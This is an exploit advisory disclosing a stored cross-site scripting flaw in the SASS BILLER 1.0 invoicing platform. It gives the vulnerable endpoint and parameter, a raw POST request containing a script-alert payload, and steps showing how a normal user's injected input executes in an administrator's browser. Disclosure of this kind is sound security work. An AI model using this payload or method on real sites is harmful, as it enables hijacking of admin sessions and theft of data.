# Exploit Title: SASS BILLER 1.0 - Stored XSS
# Exploit Author: CraCkEr
# Date: 12/07/2023
# Vendor: Bug Finder
# Vendor Homepage: https://bugfinder.net/
# Software Link: https://bugfinder.net/product/sass-biller-a-sass-based-invoicing-and-billing-platform/19
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Description

Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.



Path: /sassbiller/company/store

POST parameter 'name' is vulnerable to XSS

-----------------------------------------------------------
POST /sassbiller/company/store HTTP/2

Content-Disposition: form-data; name="name"

<script>alert(1)</script>
-----------------------------------------------------------



## Steps to Reproduce:


1. Login as (Normal User)
2. Go to [Company] on this Path: https://website/sassbiller/company/list
3. Click on [Add company]
4. Inject your XSS Payload in [name] and fill out all the other required fields

5. Click on [Add company]

6. When ADMIN visit [Company List] on this Path: https://website/sassbiller/admin/company/list
7. XSS Will Fire and Executed on his Browser



[-] Done